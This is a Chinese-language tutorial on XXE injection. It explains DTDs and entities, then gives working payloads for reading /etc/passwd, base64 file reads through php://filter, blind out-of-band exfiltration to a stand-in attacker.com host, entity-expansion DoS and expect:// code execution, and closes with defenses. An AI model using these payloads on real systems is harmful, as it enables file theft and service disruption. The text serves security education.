XXE的基本概念和利用方式
字数 1633 2025-08-14 12:04:09

XML外部实体注入(XXE)攻击全面指南

1. XXE基本概念

XXE全称XML External Entity Injection,即XML外部实体注入。这是一种针对解析XML输入的应用程序的攻击方式,当配置不当的XML处理器处理包含对外部实体引用的XML输入时,就会发生此攻击。

1.1 XML与DTD基础

XML被设计用来传输和存储数据,其关注点是数据的内容。要解释XML数据,应用程序需要XML解析器。

DTD(文档类型定义)的作用是定义XML文档的合法构建模块,XXE漏洞主要发生在"文档类型定义"中。

DTD的三种声明形式:

  1. 内部DTD:<!DOCTYPE 根元素[子元素声明]>
  2. 外部DTD:<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
  3. 内外部DTD结合:<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

1.2 XML实体(ENTITY)

实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以来自任何地方,包括外部资源(因此称为XML外部实体)。

实体分类:

  • 预定义实体&amp;&lt;&#37;
  • 内部实体<!ENTITY 实体名称 "实体的值">
  • 外部实体<!ENTITY 实体名称 SYSTEM "URI/URL">
  • 参数实体<!ENTITY % 实体名 "实体内容">

引用方式:

  • 普通实体:&实体名;
  • 参数实体:%实体名;

2. XXE风险因素

可能导致XXE漏洞的条件:

  • 应用程序解析XML文档
  • DTD中允许使用受污染的数据
  • XML解析器配置为验证和处理DTD
  • XML解析器配置为解析DTD内的外部实体

3. XXE攻击影响

XXE攻击可能导致:

  • 本地文件读取
  • 内网访问
  • 主机/端口扫描
  • 远程代码执行(不常见)
  • 拒绝服务攻击

4. XXE利用方式

4.1 本地文件读取

当用户输入在响应中回显时,这种XXE被称为基于报错的XXE。

基本payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

不同系统的文件读取:

  • Unix系统:file:///etc/passwd
  • Windows系统:file:///c:/boot.ini

4.2 解决XML限制的方法

CDATA方法:

<data><![CDATA[characters are ok here ]]></data>

PHP协议包装器

<!ENTITY bar SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/fstab">

4.3 带外攻击(OOB-XXE)

带外XXE攻击(盲型XXE)适用于Web应用不会立即响应的情况。

攻击流程

  1. 攻击者发送恶意XML请求
  2. XML解析器处理参数实体,加载本地文件
  3. 解析器向攻击者服务器请求DTD文件
  4. 处理攻击者的DTD,创建包含文件内容的URL
  5. 解析器向攻击者服务器发送包含文件内容的请求

示例payload

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>

攻击者的DTD(evil.dtd)

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>">
%all;

4.4 XML DoS攻击

通过递归引用实体或读取大文件导致内存过载:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar "World ">
<!ENTITY t1 "&bar;&bar;">
<!ENTITY t2 "&t1;&t1;&t1;&t1;">
<!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
]>

或读取/dev/random

<!ENTITY xxe SYSTEM "file:///dev/random">

4.5 远程代码执行(RCE)

在PHP应用中(需加载Expect模块):

<!ENTITY xxe SYSTEM "expect://id">

5. XXE防御措施

  1. 使用替代格式:尽可能使用简单的数据格式(如JSON),避免敏感数据序列化
  2. 更新XML处理器:修补或升级XML处理器和库
  3. 禁用外部实体:在所有XML解析器中禁用XML外部实体和DTD处理
  4. 输入验证:使用白名单验证输入,过滤XML文档、表头、节点内的恶意数据
  5. XSD验证:对XML或XSL文件上传功能使用XSD验证传入的XML
  6. 代码审计:使用SAST工具检测源代码中的XXE漏洞
  7. WAF防护:使用虚拟补丁、API安全网关或WAF来检测和阻止XXE攻击

6. 总结

XXE漏洞非常严重,几乎影响所有解析XML文档的Web应用程序。攻击者可以利用XXE进行:

  • 敏感文件读取
  • 内网探测
  • SSRF攻击
  • 拒绝服务攻击
  • 可能的远程代码执行

防御XXE需要从多个层面入手,包括禁用危险功能、严格输入验证和使用安全配置。开发人员应充分了解XXE的风险,并在设计和实现阶段就采取适当的防护措施。

XML外部实体注入(XXE)攻击全面指南 1. XXE基本概念 XXE 全称XML External Entity Injection,即XML外部实体注入。这是一种针对解析XML输入的应用程序的攻击方式,当配置不当的XML处理器处理包含对外部实体引用的XML输入时,就会发生此攻击。 1.1 XML与DTD基础 XML 被设计用来传输和存储数据,其关注点是数据的内容。要解释XML数据,应用程序需要XML解析器。 DTD (文档类型定义)的作用是定义XML文档的合法构建模块,XXE漏洞主要发生在"文档类型定义"中。 DTD的三种声明形式: 内部DTD: <!DOCTYPE 根元素[子元素声明]> 外部DTD: <!DOCTYPE 根元素 SYSTEM "DTD文件路径"> 内外部DTD结合: <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]> 1.2 XML实体(ENTITY) 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以来自任何地方,包括外部资源(因此称为XML外部实体)。 实体分类: 预定义实体 : &amp; 、 &lt; 、 &#37; 等 内部实体 : <!ENTITY 实体名称 "实体的值"> 外部实体 : <!ENTITY 实体名称 SYSTEM "URI/URL"> 参数实体 : <!ENTITY % 实体名 "实体内容"> 引用方式: 普通实体: &实体名; 参数实体: %实体名; 2. XXE风险因素 可能导致XXE漏洞的条件: 应用程序解析XML文档 DTD中允许使用受污染的数据 XML解析器配置为验证和处理DTD XML解析器配置为解析DTD内的外部实体 3. XXE攻击影响 XXE攻击可能导致: 本地文件读取 内网访问 主机/端口扫描 远程代码执行(不常见) 拒绝服务攻击 4. XXE利用方式 4.1 本地文件读取 当用户输入在响应中回显时,这种XXE被称为基于报错的XXE。 基本payload: 不同系统的文件读取: Unix系统: file:///etc/passwd Windows系统: file:///c:/boot.ini 4.2 解决XML限制的方法 CDATA 方法: PHP协议包装器 : 4.3 带外攻击(OOB-XXE) 带外XXE攻击(盲型XXE)适用于Web应用不会立即响应的情况。 攻击流程 : 攻击者发送恶意XML请求 XML解析器处理参数实体,加载本地文件 解析器向攻击者服务器请求DTD文件 处理攻击者的DTD,创建包含文件内容的URL 解析器向攻击者服务器发送包含文件内容的请求 示例payload : 攻击者的DTD(evil.dtd) : 4.4 XML DoS攻击 通过递归引用实体或读取大文件导致内存过载: 或读取 /dev/random : 4.5 远程代码执行(RCE) 在PHP应用中(需加载Expect模块): 5. XXE防御措施 使用替代格式 :尽可能使用简单的数据格式(如JSON),避免敏感数据序列化 更新XML处理器 :修补或升级XML处理器和库 禁用外部实体 :在所有XML解析器中禁用XML外部实体和DTD处理 输入验证 :使用白名单验证输入,过滤XML文档、表头、节点内的恶意数据 XSD验证 :对XML或XSL文件上传功能使用XSD验证传入的XML 代码审计 :使用SAST工具检测源代码中的XXE漏洞 WAF防护 :使用虚拟补丁、API安全网关或WAF来检测和阻止XXE攻击 6. 总结 XXE漏洞非常严重,几乎影响所有解析XML文档的Web应用程序。攻击者可以利用XXE进行: 敏感文件读取 内网探测 SSRF攻击 拒绝服务攻击 可能的远程代码执行 防御XXE需要从多个层面入手,包括禁用危险功能、严格输入验证和使用安全配置。开发人员应充分了解XXE的风险,并在设计和实现阶段就采取适当的防护措施。